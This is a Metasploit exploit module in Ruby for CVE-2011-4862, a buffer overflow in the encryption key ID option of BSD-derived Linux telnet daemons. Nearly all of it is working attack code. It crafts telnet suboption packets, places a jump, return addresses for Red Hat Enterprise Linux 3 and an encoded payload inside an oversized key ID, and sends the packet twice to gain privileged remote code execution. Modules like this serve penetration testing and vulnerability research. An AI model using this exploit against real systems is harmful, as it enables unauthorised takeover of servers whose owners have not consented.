Linux BSD-derived Telnet Service Encryption Key ID Buffer Overflow

# -*- coding: binary -*-

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Telnet
  include Msf::Exploit::BruteTargets

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Linux BSD-derived Telnet Service Encryption Key ID Buffer Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow in the encryption option handler of the
        Linux BSD-derived telnet service (inetutils or krb5-telnet). Most Linux distributions
        use NetKit-derived telnet daemons, so this flaw only applies to a small subset of
        Linux systems running telnetd.
        },
      'Author'         => [ 'Jaime Penalba Estebanez <jpenalbae[at]gmail.com>', 'Brandon Perry <bperry.volatile[at]gmail.com>', 'Dan Rosenberg', 'hdm' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2011-4862'],
          ['OSVDB', '78020'],
          ['BID', '51182'],
          ['EDB', '18280']
        ],
      'Privileged'     => true,
      'Platform'       => 'linux',
      'Payload'        =>
        {
          'Space'       => 200,
          'BadChars'    => "\x00",
          'DisableNops' => true,
        },

      'Targets'        =>
        [
          [ 'Automatic',  { } ],
          [ 'Red Hat Enterprise Linux 3 (krb5-telnet)', { 'Ret' => 0x0804b43c } ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2011-12-23'))
  end

  def exploit_target(t)

    connect
    banner_sanitized = Rex::Text.to_hex_ascii(banner.to_s)
    vprint_status(banner_sanitized)

    enc_init      = "\xff\xfa\x26\x00\x01\x01\x12\x13\x14\x15\x16\x17\x18\x19\xff\xf0"
    enc_keyid     = "\xff\xfa\x26\x07"
    end_suboption = "\xff\xf0"

    penc = payload.encoded.gsub("\xff", "\xff\xff")

    key_id = Rex::Text.rand_text_alphanumeric(400)

    key_id[ 0, 2] = "\xeb\x76"
    key_id[72, 4] = [ t['Ret'] - 20 ].pack("V")
    key_id[76, 4] = [ t['Ret'] ].pack("V")

    # Some of these bytes can get mangled, jump over them
    key_id[80,40]  = "\x41" * 40

    # Insert the real payload
    key_id[120, penc.length] = penc

    # Create the Key ID command
    sploit = enc_keyid + key_id + end_suboption

    # Initiate encryption
    sock.put(enc_init)

    # Wait for a successful response
    loop do
      data = sock.get_once(-1, 5) rescue nil
      if not data
        fail_with(Failure::Unknown, "This system does not support encryption")
      end
      break if data.index("\xff\xfa\x26\x02\x01")
    end

    # The first request smashes the pointer
    print_status("Sending first payload")
    sock.put(sploit)

    # Make sure the server replied to the first request
    data = sock.get_once(-1, 5)
    unless data
      print_status("Server did not respond to first payload")
      return
    end

    # Some delay between each request seems necessary in some cases
    ::IO.select(nil, nil, nil, 0.5)

    # The second request results in the pointer being called
    print_status("Sending second payload...")
    sock.put(sploit)
    handler

    ::IO.select(nil, nil, nil, 0.5)
    disconnect
  end
end